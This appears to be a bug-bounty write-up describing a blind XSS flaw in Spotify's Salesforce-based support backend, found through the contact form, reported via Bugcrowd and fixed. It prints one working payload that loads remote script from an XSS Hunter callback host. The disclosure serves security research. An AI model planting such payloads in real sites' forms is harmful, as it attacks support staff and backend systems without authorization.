This is the story of a blind XSS vulnerability that affected Spotify. It could have allowed an attacker to gain access to their customer support backend, which is built on Salesforce.
First, some background.
What is a “blind XSS vulnerability”?
Blind XSS is a type of persistent XSS that occurs when the attacker can’t see where their payload has fired. That is when a user’s unsanitized input is displayed on a page that is only accessible to users who have specific privileges, such as feedback, contact, and logging dashboards.
How would I know if my payload worked if I can’t see the page?
Here comes XSS Hunter to the rescue! It’s an awesome web app that Matthew Bryant @IAmMandatory built. It has a lot of features that can help a lot in the process of finding blind XSS vulnerabilities and showing their impact. Also, Matt’s many great posts were my (and many other people’s) introduction to this type of bug. I highly recommend you give them a read. Thanks, Matt!
How did this affect Spotify?
It was pretty straightforward. Spotify had a standard contact page where users can report problems and send suggestions. I sent a query with a very simple XSS payload.
"><script src=https://[username].xss.ht></script>A few minutes later, I received an email from XSS Hunter informing me that the payload had fired. At first, I wasn’t sure where to report this; the payload fired in a Salesforce domain that Spotify was using as a support platform, so which one of them can fix it? Eventually, I reported it to Spotify via their Bugcrowd and asked them to inform Salesforce about it. It turned out that the vulnerability existed due to a custom Salesforce view that Spotify was using, so it wasn’t Salesforce’s mistake per se. A few days later, Spotify fixed the vulnerability and issued a reward.